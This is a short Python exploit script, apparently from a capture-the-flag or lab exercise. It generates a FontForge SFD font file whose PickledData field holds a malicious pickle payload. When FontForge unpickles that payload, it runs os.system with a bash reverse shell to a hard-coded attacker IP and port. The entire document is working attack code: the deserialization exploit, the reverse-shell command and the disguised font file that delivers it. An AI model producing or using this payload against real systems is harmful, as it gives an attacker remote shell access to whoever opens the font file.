import os import pickle LHOST = "10.10.17.34" LPORT = "5555" # for Reverse shell cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'" class Exploit(object): def __reduce__(self): return (os.system, (cmd,)) # Serialize the exploit class (Protocol 0 for ASCII compatibility) payload = pickle.dumps(Exploit(), protocol=0).decode('ascii') # Escape for SFD format (FontForge expects escaped backslashes and quotes) escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"') # Construct a minimal SFD file sfd_content = f"""SplineFontDB: 3.2 FontName: Exploit FullName: Exploit FamilyName: Exploit Weight: Regular Version: 001.000 PickledData: "{escaped_payload}" BeginChars: 256 0 EndChars EndSplineFont """ with open("exploit.sfd", "w") as f: f.write(sfd_content) print("[+] exploit.sfd generated successfully!") print(f"[+] Payload: {cmd}")